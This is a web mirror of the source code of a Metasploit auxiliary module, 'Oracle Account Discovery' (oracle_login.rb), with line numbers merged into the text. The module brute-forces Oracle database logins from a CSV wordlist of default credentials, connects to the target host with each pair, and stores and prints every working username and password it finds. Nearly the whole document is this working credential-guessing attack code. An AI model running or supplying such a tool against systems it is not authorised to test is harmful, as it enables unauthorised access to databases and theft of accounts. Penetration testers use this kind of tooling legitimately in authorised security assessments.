CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/auxiliary/admin/oracle/oracle_login.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'csv'67class MetasploitModule < Msf::Auxiliary8include Msf::Auxiliary::Report9include Msf::Exploit::ORACLE1011def initialize(info = {})12super(update_info(info,13'Name' => 'Oracle Account Discovery',14'Description' => %q{15This module uses a list of well known default authentication credentials16to discover easily guessed accounts.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'URL', 'http://www.petefinnigan.com/default/oracle_default_passwords.csv' ],23[ 'URL', 'https://seclists.org/fulldisclosure/2009/Oct/261' ],24],25'DisclosureDate' => '2008-11-20'))2627register_options(28[29OptPath.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]),30])3132deregister_options('DBUSER','DBPASS')3334end3536def report_cred(opts)37service_data = {38address: opts[:ip],39port: opts[:port],40service_name: opts[:service_name],41protocol: 'tcp',42workspace_id: myworkspace_id43}4445credential_data = {46origin_type: :service,47module_fullname: fullname,48username: opts[:user],49private_data: opts[:password],50private_type: :password51}.merge(service_data)5253login_data = {54last_attempted_at: Time.now,55core: create_credential(credential_data),56status: Metasploit::Model::Login::Status::SUCCESSFUL57}.merge(service_data)5859create_credential_login(login_data)60end6162def run63return if not check_dependencies6465list = datastore['CSVFILE']6667print_status("Starting brute force on #{datastore['RHOST']}:#{datastore['RPORT']}...")6869fd = CSV.foreach(list) do |brute|70datastore['DBUSER'] = brute[2].downcase71datastore['DBPASS'] = brute[3].downcase7273begin74connect75disconnect76rescue ::OCIError => e77if e.to_s =~ /^ORA-12170:\s/78print_error("#{datastore['RHOST']}:#{datastore['RPORT']} Connection timed out")79break80else81vprint_error("#{datastore['RHOST']}:#{datastore['RPORT']} - LOGIN FAILED: #{datastore['DBUSER']}: #{e.to_s})")82end83else84report_cred(85ip: datastore['RHOST'],86port: datastore['RPORT'],87service_name: 'oracle',88user: "#{datastore['SID']}/#{datastore['DBUSER']}",89password: datastore['DBPASS']90)91print_good("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}")92end93end94end95end969798